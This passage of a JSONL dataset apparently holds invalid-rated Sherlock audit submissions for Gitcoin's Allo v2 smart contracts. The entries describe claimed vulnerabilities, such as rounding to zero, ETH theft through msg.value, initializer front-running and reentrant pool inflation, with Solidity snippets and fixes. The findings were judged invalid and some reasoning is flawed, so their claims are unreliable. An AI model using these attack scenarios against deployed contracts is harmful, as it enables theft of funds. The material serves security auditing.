Snippet\n\n## Tool used\n\nManual Review\n\n## Recommendation\nset max value for voteResult","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/976.md"}} +{"title":"0 amount will be distributed if `recipient.proposalBid` is very low","severity":"info","body":"Blunt Carmine Lynx\n\nmedium\n\n# 0 amount will be distributed if `recipient.proposalBid` is very low\n\nNo amount will be distributed if `recipient.proposalBid` is very low and always round down to 0.\n\n## Vulnerability Detail\n\nIn `RFPSimpleStrategy.sol`, the distribution logic involves using milestones by which the pool amount is divided by the `milestone.amountPercentage`**.**\n\nThe exact line of code:\n\n```solidity\n// Calculate the amount to be distributed for the milestone\nuint256 amount = (recipient.proposalBid * milestone.amountPercentage) / 1e18;\n```\n\nThe strategy can have multiple milestones, but their `amountPercentage` sum must add up to 1e18.\n\nSo the scenarios would be to have one with `amountPercentage` = 1e18 or multiples below 1e18 that add up to 1e18.\n\nLet's look at a practical example:\n\n1. User is registered with proposalBid = 15\n2. Pool manager allocated him and he became **`acceptedRecipientId`**.\n3. Pool manger set milestones (3 milestones).\n\n First with `amountPercentage` = 5% = 5e16 = **50,000,000,000,000,000**\n \n Second with `amountPercentage` = 50% = 50e17 = **500,000,000,000,000,000**\n \n Third with `amountPercentage` = 45% = 4.5e17 = **450,000,000,000,000,000**\n \n4. **`acceptedRecipientId`** calls `submitUpcomingMilestone()`\n5. Pool manager calls `_distribute()` and when the line of code above comes,\n \n 15 * 50,000,000,000,000,000 = 750,000,000,000,000,000 / 1e18 will result in 0 in Solidity and the distributed amount will be 0.\n \n\n## Impact\n\nTake the example above and consider that if we have 20 milestones with amountPercentage = 5%, if all milestones go through `distribute()` no amount will actually be distributed.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L435\n\n## Tool used\n\nManual Review\n\n## Recommendation\nIt is difficult to give an exact recommendation because there are many things that this depends on and cannot be sure, but it is nice to have a minimum value of the parameter or to change the percentage performance at all.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/975.md"}} +{"title":"There is no `recieve/fallback` function implemented in `registry.sol`","severity":"info","body":"Bubbly Glossy Unicorn\n\nmedium\n\n# There is no `recieve/fallback` function implemented in `registry.sol`\nregestry does not have any receive/fallback functions to receive ETH\n## Vulnerability Detail\n`recoverFunds` function can transfer erc20 tokens and Native tokens to recipient but the `registry.sol` is not implementing any receive function to receive ETH. So it is impossible to send eth to the contract\n## Impact\nCan't send Native tokens\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Registry.sol#L387\n## Tool used\n\nManual Review\n\n## Recommendation\nImplement receive/fallback function","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/974.md"}} +{"title":"Potential underfunding in the `_fundPool` method due to ERC20 tokens that don't revert on over-withdrawals.","severity":"info","body":"Scruffy Taupe Orca\n\nhigh\n\n# Potential underfunding in the `_fundPool` method due to ERC20 tokens that don't revert on over-withdrawals.\nPotential underfunding in the `_fundPool` method due to ERC20 tokens that don't revert on over-withdrawals.\n\n## Vulnerability Detail\nIf a user funds the pool with an amount they don't possess and the ERC20 token used does not revert on such over-withdrawals (instead, it transfers whatever amount the user has), the `_fundPool` function can complete its execution with less funds than expected. For example, if `amountAfterFee` is 50, but the user only has 20 tokens, and the ERC20 doesn't revert on over-withdrawals but sends the maximum it can (20 in this case), the pool is underfunded, but the function won't revert, leading to a discrepancy between the expected and the actual funded amount.\n\n## Proof of Concept (PoC)\n### Scenario:\nImagine a scenario where Alice wants to fund the pool using a particular ERC20 token, named \"FaultyToken\", which has a unique behavior: instead of reverting on over-withdrawals, it sends the maximum balance available.\n\n#### Initial Setup:\n1. FaultyToken balance of Alice: 20 tokens\n2. Allowance given by Alice to the contract: 100 tokens\n3. Alice attempts to fund the pool with: 50 tokens\n\n### Steps:\n1. **Starting the Process**: Alice calls the `_fundPool` function, specifying she wants to deposit 50 tokens to the pool.\n \n2. **Fees Calculation**: The contract calculates any fees. Let's assume there's a 10% fee. Therefore, `feeAmount` becomes 5 tokens, and `amountAfterFee` becomes 45 tokens.\n\n3. **Transferring Fee**:\n - The contract tries to transfer the `feeAmount` (5 tokens) to the treasury.\n - Since Alice has 20 tokens, the FaultyToken transfers 5 tokens to the treasury without any issues.\n\n4. **Transferring to Strategy**:\n - The contract then tries to transfer the `amountAfterFee` (45 tokens) to the strategy's address.\n - Here's where the fault comes in: Instead of reverting due to insufficient balance, FaultyToken transfers the maximum it can, which is the remaining 15 tokens in Alice's account, to the strategy.\n \n5. **Increasing Pool Amount**: The contract calls `_strategy.increasePoolAmount(amountAfterFee);` thinking it transferred 45 tokens, but in reality, only 15 tokens were transferred.\n\n6. **Completion**: The function completes without any errors, logs are emitted, and now there's a mismatch. The strategy believes it has 45 tokens more, but it only received 15 tokens.\n\n### Result:\n\nThe pool believes it has received 45 tokens from Alice when, in reality, it has only received 15 tokens. This underfunding can have various downstream implications like incorrect allocations, distributions, and other faulty behaviors based on this incorrect assumption of the pool's balance.\n\n\n## Impact\nThe pool can be underfunded, potentially leading to downstream logic issues, such as incorrect allocations, distributions, or other unintended behaviors, depending on the use cases of the pool and strategy.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L496-L520\n\n```solidity\n/* ... */\n\n_transferAmountFrom(\n _token,\n TransferData({\n from: msg.sender,\n to: address(_strategy),\n amount: amountAfterFee\n })\n);\n_strategy.increasePoolAmount(amountAfterFee);\n\n/* ... */\n```\n\n## Tool used\nManual Review\n\n## Recommendation\nI Recommend these Possible Solutions:\n\n1. **Input Validation**: Before executing the transfer, validate that the user has sufficient balance and has approved the contract to transfer the exact `amountAfterFee`.\n\n ```solidity\n IERC20 token = IERC20(_token);\n require(token.balanceOf(msg.sender) >= amountAfterFee, \"Insufficient balance\");\n require(token.allowance(msg.sender, address(this)) >= amountAfterFee, \"Allowance too low\");\n ```\n\n2. **Standards Check**: Only integrate with ERC20 tokens that behave according to the standard. An ERC20 token should revert on transfer or transferFrom if the specified amount is greater than the balance or allowance. \n\n3. **Strategy Verification**: When incorporating new ERC20 tokens into your ecosystem, make sure to audit or verify their behavior to ensure they adhere to the expected standards. Consider maintaining a whitelist of approved tokens that have been verified to meet these criteria.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/973.md"}} +{"title":"no check on return value of `create3`","severity":"info","body":"Feisty Glass Scallop\n\nmedium\n\n# no check on return value of `create3`\nThe `deploy` function is used to deploy contracts. The function does not revert properly if there is a failed contract deployment or revert from the create3 opcode as it does not properly check the returned address.\n\n## Vulnerability Detail\nsee summary\n\n## Impact\nIf the function fails to deploy the contract the code will still assume that the deployment is successful which will cause unexpected issues.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/factory/ContractFactory.sol#L105\n\n## Tool used\n\nManual Review\n\n## Recommendation\nThe recommended mitigation was to update iszero(deployedContract) to iszero(extcodesize(deployedContract))","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/972.md"}} +{"title":"attacker can steal funds of allo.sol by using fundPool() function","severity":"info","body":"Mini Garnet Squirrel\n\nhigh\n\n# attacker can steal funds of allo.sol by using fundPool() function\nThe` Allo` contract contains a vulnerability where an attacker can potentially steal Ether from the contract by sending a `msg.value` greater than `_amount` when using the fundPool` function.\n## Vulnerability Detail\nIn the `Allo` contract, there is a function called `fundPool` that allows anyone to deposit Ether into a pool. This function takes two arguments: _poolId and _amount. However, there is a vulnerability in this function that allows an attacker to send more Ether (msg.value) than the specified `_amount`.\nLets suppose Allo hold 1 eth, malicious can just fund pool with amount = 100 eth, msg.value = 99 eth, which basically steal 1 eth from Allo contract\n\n## Impact\nThis vulnerability allows an attacker to steal Ether from the Allo contract by sending a larger msg.value than the intended _amount. This can result in a loss of funds for the contract and negatively impact the overall functionality of the Allo protocol.\n## Code Snippet\n```solidity\nfunction _fundPool(uint256 _amount, uint256 _poolId, IStrategy _strategy) internal {\n uint256 feeAmount;\n uint256 amountAfterFee = _amount;\n\n Pool storage pool = pools[_poolId];\n address _token = pool.token;\n\n if (percentFee > 0) {\n feeAmount = (_amount * percentFee) / getFeeDenominator();\n amountAfterFee -= feeAmount;\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: treasury, amount: feeAmount}));\n }\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee}));\n _strategy.increasePoolAmount(amountAfterFee);\n\n emit PoolFunded(_poolId, amountAfterFee, feeAmount);\n }\n\n```\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/core/libraries/Transfer.sol#L70\n\n## Tool used\n\nManual Review\n\n## Recommendation\nadd a check that at the appropriate msg.value is sent","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/971.md"}} +{"title":"The Registry contract's upgradeability would not work","severity":"info","body":"Special Fiery Platypus\n\nmedium\n\n# The Registry contract's upgradeability would not work\nThe Registry.sol contract is intended to be the implementation contract of a proxy contract, but the upgradeability would not be functional.\n## Vulnerability Detail\nIn Allo.sol the Registry contract is used to check whether an address is a member or owner of a profile. The issue is that calls are directly made to the Registry.sol contract. Therefore, if users create their profiles through a proxy contract that stores all of the data and delegate-calls the Registry contract, then direct calls in Allo.sol to Registry.sol would be using the wrong data, as the actual data is stored in the proxy contract.\nIn order for the Registry to be truly upgradeable, the calls in Allo.sol need to be made to a proxy contract which would then delegate-call the implementation Registry contract.\n## Impact\nCalls to Registry.sol in Allo.sol would retreive wrong data.\n## Code Snippet\nhttps://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/core/Allo.sol#L424\n```solidity\nif (!registry.isOwnerOrMemberOfProfile(_profileId, msg.sender)) revert UNAUTHORIZED();\n```\n## Tool used\n\nManual Review\n\n## Recommendation\nDo not make direct calls to Registry.sol in Allo.sol but instead make calls to a proxy contract in order to preserve the upgradeability of the Registry contract.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/970.md"}} +{"title":"WrappedVotingNftMintStrategy::_distribute()","severity":"info","body":"Tricky Slate Nuthatch\n\nmedium\n\n# WrappedVotingNftMintStrategy::_distribute()\n\nWrappedVotingNftMintStrategy::_distribute() - L209-211: DoS of token distribute (to winner) functionality due to deletion of the value of state variable `poolAmount` BEFORE transfer of pool tokens.\n\n## Vulnerability Detail\n\nThe _distribute() function will either revert due to _transferAmount() sending `poolAmount` of zero value, or it will succeed but zero tokens will be sent. \nEither way, winner will not be able to receive the pool tokens at all, via this function.\n\n```solidity\n /// @notice Internal function to distribute the tokens to the winner\n /// @param _sender The sender of the transaction\n function _distribute(address[] memory, bytes memory, address _sender) internal override onlyAfterAllocation {\n IAllo.Pool memory pool = allo.getPool(poolId);\n\n if (poolAmount == 0) {\n revert INVALID();\n }\n\n delete poolAmount; \t/// @audit-issue this becomes zero/default value, i.e. `poolAmount` == 0 == true\n\n _transferAmount(pool.token, currentWinner, poolAmount);\n\n emit Distributed(currentWinner, currentWinner, poolAmount, _sender);\n }\n```\n\n\n## Impact\n\nThe _distribute() function will either revert due to _transferAmount() sending `poolAmount` of zero value, or it will succeed but zero tokens will be sent. \nEither way, winner will not be able to receive the pool tokens at all, via this function.\n\n## Code Snippet\n\nhttps://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/strategies/_poc/wrapped-voting-nftmint/WrappedVotingNftMintStrategy.sol#L200-L214\n\n## Tool used\nVSC.\nManual Review\n\n## Recommendation\n\nRecommendations:\n```solidity\n /// @notice Internal function to distribute the tokens to the winner\n /// @param _sender The sender of the transaction\n function _distribute(address[] memory, bytes memory, address _sender) internal override onlyAfterAllocation {\n IAllo.Pool memory pool = allo.getPool(poolId);\n\n if (poolAmount == 0) {\n revert INVALID();\n }\n \n ++ uint256 _poolAmount = poolAmount;\n delete poolAmount;\n\n -- _transferAmount(pool.token, currentWinner, poolAmount);\n ++ _transferAmount(pool.token, currentWinner, _poolAmount);\n\n emit Distributed(currentWinner, currentWinner, poolAmount, _sender);\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/969.md"}} +{"title":"Rft Committee Strategy is not reusable and become useless after one recipient have been voted upon","severity":"info","body":"Flat Sapphire Platypus\n\nhigh\n\n# Rft Committee Strategy is not reusable and become useless after one recipient have been voted upon\nRft Committee Strategy is not reusable and become useless after one recipient have been voted upon as after the allocation adn distribution `acceptedRecipientId` there is no way to reset it.\n## Vulnerability Detail\nAs the `acceptedRecipientId` cannot be reset after the allocation and distribution.\n\nLets say alice is first recipient, have been voted on and distribution is done,\n\nNot we want to vote on ewn recipient and do the allocation for it, but it is not possible as `acceptedRecipientId` still holds the alice address and will revert on the following line:\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-committee/RFPCommitteeStrategy.sol#L103\n\nSo the contract becomes useless and cannot be ever used for more recipients.\n\n```solidity\nfunction _allocate(bytes memory _data, address _sender) internal override onlyPoolManager(_sender) {\n // @audit - allocation can be only done once, for upcoming milestones and recipient id's it will be always set to some address for the previous cycle, KOOL\n if (acceptedRecipientId != address(0)) {\n revert RECIPIENT_ALREADY_ACCEPTED();\n }\n\n // Check if the allocator has already casted the vote\n address voteCastedTo = votedFor[_sender];\n if (voteCastedTo != address(0)) {\n // remove the old vote to allow recasting of vote\n votes[voteCastedTo] -= 1;\n }\n\n // Decode the '_data'\n address recipientId = abi.decode(_data, (address));\n\n // Increment the votes for the recipient\n votes[recipientId] += 1;\n // Update the votedFor mapping\n votedFor[_sender] = recipientId;\n\n // Emit the event\n emit Voted(recipientId, _sender);\n\n // Check if the recipient has reached the vote threshold\n if (votes[recipientId] == voteThreshold) {\n // Set the accepted recipient\n acceptedRecipientId = recipientId;\n\n Recipient storage recipient = _recipients[acceptedRecipientId];\n recipient.recipientStatus = Status.Accepted;\n\n // Set the pool to inactive\n _setPoolActive(false);\n\n emit Allocated(acceptedRecipientId, recipient.proposalBid, allo.getPool(poolId).token, address(0));\n }\n }\n```\n## Impact\nContract become useless after one voting session and can never be used again leading to costly redeployment on strategy whenever want to do voting on new address.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-committee/RFPCommitteeStrategy.sol#L103\n## Tool used\n\nManual Review\n\n## Recommendation\nAfter destribution set the `acceptedRecipientId` back to zero and open the option to set it again to some new acceptedRecipientId","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/968.md"}} +{"title":"Admin or Member Can Inflate Pool Amount","severity":"info","body":"Bent Shadow Lobster\n\nmedium\n\n# Admin or Member Can Inflate Pool Amount\nThere is a possibility for a re-entrant call to recall an increase in pool amount multiple times\n## Vulnerability Detail\n\nThe details are as follows:\n- A malicious owner creates a profile with some members\n- A malicious owner create a pool with a new strategy using the `createPoolWithCustomStrategy` with malicious contracts posing as token and strategy contract, the malicious strategy contract must have similar features to the real contract\n- On the _fundAmount function being called in the create flow, it calls on the `transferFrom` from the token\n- Then it calls on the _strategy.increasePoolAmount, this will call the malicious contract which in turn send delegatecall to any real live strategy (this is to impersonate the Allo contract) and inflate the pool value to excessive amounts unchecked without the pool being able to redeem these values.\n- The malicious members can then allocate these funds to random strangers or compromised individuals.\n- These members or individuals can withdraw tokens\n\n## Impact\nHigh Impact, which in best case scenario is loss of data and DOS, which could cause users or admin to switch pools. Worst case scenario loss of funds.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L144\n\n```solidity\nfunction _fundPool(uint256 _amount, uint256 _poolId, IStrategy _strategy) internal {\n uint256 feeAmount;\n uint256 amountAfterFee = _amount;\n\n Pool storage pool = pools[_poolId];\n address _token = pool.token;\n\n if (percentFee > 0) {\n feeAmount = (_amount * percentFee) / getFeeDenominator();\n amountAfterFee -= feeAmount;\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: treasury, amount: feeAmount}));\n }\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee}));\n _strategy.increasePoolAmount(amountAfterFee);\n\n emit PoolFunded(_poolId, amountAfterFee, feeAmount);\n }\n \nfunction allocate(bytes memory _data, address _sender) external payable onlyAllo onlyInitialized {\n _beforeAllocate(_data, _sender);\n _allocate(_data, _sender);\n _afterAllocate(_data, _sender);\n }\n```\n## Tool used\n\nManual Review\n\n## Recommendation\nMove non-reentrant checks to internal functions instead and add checks in the increasePoolAmount","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/967.md"}} +{"title":"`_allocate` won't work as intended","severity":"info","body":"Feisty Glass Scallop\n\nhigh\n\n# `_allocate` won't work as intended\nThe code contains a vulnerability where if a user sends even 1 wei more than the required amount, the function will revert.\n\n## Vulnerability Detail\nThere is a conditional statement that checks if the user is sending ether and the token is not the native token, or if the token is the native token and the value sent is not equal to the required amount. If either of these conditions is true, the function will revert.\n```solidity\n// If the token is native, the amount must be equal to the value sent, otherwise it reverts\n if (msg.value > 0 && token != NATIVE || token == NATIVE && msg.value != amount) { //@audit it is very hard to send exact amount\n revert INVALID();\n }\n```\n\n## Impact\nThis vulnerability means that even a slight deviation from the exact required amount, such as sending 1 wei more than required, will result in the function reverting. This could lead to inconvenience for users who unintentionally send a slightly higher amount.\n\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L658\n\n## Tool used\n\nManual Review\n\n## Recommendation\nModify as follow and then refund the dust amount\n```solidity\n// If the token is native, the amount must be equal to the value sent, otherwise it reverts\n if (msg.value > 0 && token != NATIVE || token == NATIVE && msg.value < amount) { \n revert INVALID();\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/966.md"}} +{"title":"Users can bypass the required fees during pool funding even in cloneable strategies","severity":"info","body":"Scruffy Taupe Orca\n\nmedium\n\n# Users can bypass the required fees during pool funding even in cloneable strategies\nUsers can bypass the required fees during pool funding even in cloneable strategies. Also when the pool is funded directly the `pool Amount` is not increased.\n\n## Vulnerability Detail \nUsers can directly transfer using ERC20 tokens or directly transfer NATIVE currency using `selfdestruct` to the strategy. This would result in users funding pools without paying any fees to the treasury.\n\n## Impact\nStuck of funds in the protocol, because the `poolAmount` is not increased during direct transfer leading to not properly distribution process.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/core/Allo.sol#L1\n\n## Tool used\nManual review\n\n## Recommendation\nImplement logic to stop direct transfers or if you keeps the allowance of direct transfers implement logic that increase the `poolAmount` when direct transfer is done.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/965.md"}} +{"title":"Anchor deployement can be always failed","severity":"info","body":"Delightful Topaz Penguin\n\nmedium\n\n# Anchor deployement can be always failed\nAnchor deployement can be always failed\n\n## Vulnerability Detail\nconstructor of Anchor is \n```solidity\nFile: contracts/core/Anchor.sol\n constructor(bytes32 _profileId) {\n registry = Registry(msg.sender);\n profileId = _profileId;\n }\n```\nhttps://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/core/Anchor.sol#L55C4-L58C6\nit creates a new instance of Registry which needs to be initialize \n```solidity\nFile: contracts/core/Registry.sol\n function initialize(address _owner) external reinitializer(1) {\n // Make sure the owner is not 'address(0)'\n if (_owner == address(0)) revert ZERO_ADDRESS();\n\n // Grant the role to the owner\n _grantRole(ALLO_OWNER, _owner);\n }\n\n```\nhttps://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/core/Registry.sol#L79\n\nAt new instance Attacker can call this function just after the deployment of Anchor and set owner role to any address. which will make overall deployment fail. \n\nThis can lead to DOS as every time Attacker will make deployement fail\n\n## Impact\nDOS\n## Code Snippet\nhttps://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/core/Anchor.sol#L55C4-L58C6\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nA best way to mitigate this issue will be deploying strategy(making a new instance) and initialize in same transaction so Attacker won't able to call initialize the function.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/964.md"}} +{"title":"`Anchor` Address Reuse Across Different `Registry` Versions","severity":"info","body":"Mini Fiery Urchin\n\nmedium\n\n# `Anchor` Address Reuse Across Different `Registry` Versions\nThe function `_generateAnchor()` in the `Registry` contract has a potential flaw where, under specific conditions, it may reuse an `Anchor` contract address from a previous `Registry` deployment rather than creating a new one. `Registry` address could be updated with `updateRegistry()` in `Allo.sol`. The primary reason is that the salt used for the `CREATE3` deployment is solely based on the `profileId` and the profile `name`. If a new `Registry` contract is deployed and tries to recreate an existing profile, it will end up with the same `Anchor` address from the previous `Registry`.\n\n## Vulnerability Detail\n1. The `_generateAnchor()` function uses `CREATE3` to generate or fetch a pre-calculated address for the `Anchor` contract.\n2. The salt for the `CREATE3` deployment is created by hashing `_profileId` and `_name`.\n3. If a profile with the same `profileId` and `_name` is created in a new version of the `Registry`, the salt will remain the same, resulting in the same pre-calculated address.\n4. The function checks if a contract already exists at that address. If it does, it reuses that address without checking if the existing contract references the current `Registry`.\n\n## Impact\nProfiles created in a newer version of the `Registry` might reference `Anchor` contracts tied to a previous version of the `Registry`. This means the `Anchor` contract could be checking for ownership in an outdated `Registry`, potentially leading to unauthorized access or operational inconsistencies.\n\n## Proof of Concept\n1. Deploy the `Registry` contract, create a profile, and note the associated `Anchor` address.\n2. Deploy a new version of the `Registry` contract.\n3. In the new `Registry`, create a profile with the same `profileId` and `_name` as the profile from step 1.\n4. The new profile will be associated with the `Anchor` from the old `Registry` (and could not be changed) rather than having a new `Anchor`. \n\n## Code Snippet\n- https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L213-L215\n- https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Registry.sol#L142\n- https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Registry.sol#L335-L352\n- https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Anchor.sol#L72\n\n## Tool used\nManual review\n\n## Recommendation\nIt is crucial to include a unique identifier for each version of the `Registry` in the salt used for `CREATE3`. This will ensure that even if profiles have the same `profileId` and `_name`, their `Anchor` addresses will be unique across different `Registry` versions.\n\nModified `_generateAnchor()` function:\n```solidity\nfunction _generateAnchor(bytes32 _profileId, string memory _name) internal returns (address anchor) {\n // Incorporate the current registry address into the salt to ensure uniqueness across versions\n bytes32 salt = keccak256(abi.encodePacked(_profileId, _name, address(this)));\n\n address preCalculatedAddress = CREATE3.getDeployed(salt);\n\n // check if the contract already exists and if the profileId matches\n if (preCalculatedAddress.code.length > 0) {\n if (Anchor(payable(preCalculatedAddress)).profileId() != _profileId) revert ANCHOR_ERROR();\n\n anchor = preCalculatedAddress;\n } else {\n bytes memory creationCode = abi.encodePacked(type(Anchor).creationCode, abi.encode(_profileId));\n\n // Use CREATE3 to deploy the anchor contract\n anchor = CREATE3.deploy(salt, creationCode, 0);\n }\n}\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/963.md"}} +{"title":"Allo.registerRecipient() is not necessary to be a payable function","severity":"info","body":"Shallow Aegean Loris\n\nmedium\n\n# Allo.registerRecipient() is not necessary to be a payable function\nSince [Allo.registerRecipient()](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L301) does not pass the `msg.value` to the strategy, this function is not necessary to be a payable function. The received ETH via this function should only be refunded without triggering any effective logic.\n\n## Vulnerability Detail\n\n## Impact\nThe Allo contract would receive mistakenly sent ETH via registerRecipient().\n\n## Code Snippet\n```solidity\n function registerRecipient(uint256 _poolId, bytes memory _data) external payable nonReentrant returns (address) {\n // Return the recipientId (address) from the strategy\n return pools[_poolId].strategy.registerRecipient(_data, msg.sender);\n }\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\nRemove the `payable` keyword","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/961.md"}} +{"title":"The createPool function is vulnerable to a DOS attack.","severity":"info","body":"Expert Teal Dragon\n\nhigh\n\n# The createPool function is vulnerable to a DOS attack.\n\ncreatePool checks if the strategy.poolId is valid. However, the strategy was created before poolId increased. \n\n## Vulnerability Detail\nAn attacker can call createPool before the user, and let the following line always revert. \n```Solidity\n if (_strategy.getPoolId() != poolId || address(_strategy.getAllo()) != address(this)) revert MISMATCH();\n```\n\n## Impact\nProtocol can't function well\n\n## Code Snippet\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nBind the create strategy inside of createPool","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/960.md"}} +{"title":"calling distribute before updateDistribution will brick the strategy in DonationVotingMerkleDistributionBaseStrategy","severity":"info","body":"Faithful Carrot Okapi\n\nmedium\n\n# calling distribute before updateDistribution will brick the strategy in DonationVotingMerkleDistributionBaseStrategy\nIn `DonationVotingMerkleDistributionBaseStrategy` contract calling `distribute` function before `updateDistribution` function will brick the strategy.\n\n## Vulnerability Detail\n1. In `_distribute` function `distributionStarted` is being set to true if it is false.\n ```solidity\n if (!distributionStarted) {\n distributionStarted = true;\n }\n ```\n2. But `updateDistribution` function will revert if `distributionStarted` is already true.\n ```solidity\n if (distributionStarted) {\n revert INVALID();\n } \n ```\n3. But if `_distribute` is called with empty data before setting `merkeRoot`, `updateDistribution` function can no longer be called to set `merkeRoot` again . This will be brick the funds distribution because merkle proof verification will always fail if merleRoot isn't set. \n\n\n\n## Impact\nfund distribution process will be bricked\n\n## Code Snippet\n[https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L615-L617](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L615-L617)\n\n[https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L427-L429](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L427-L429)\n\n[https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L730-L732](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L730-L732)\n\n## Tool used\nManual Review\n\n## Recommendation\n```diff\n@@ -612,6 +600,9 @@ abstract contract 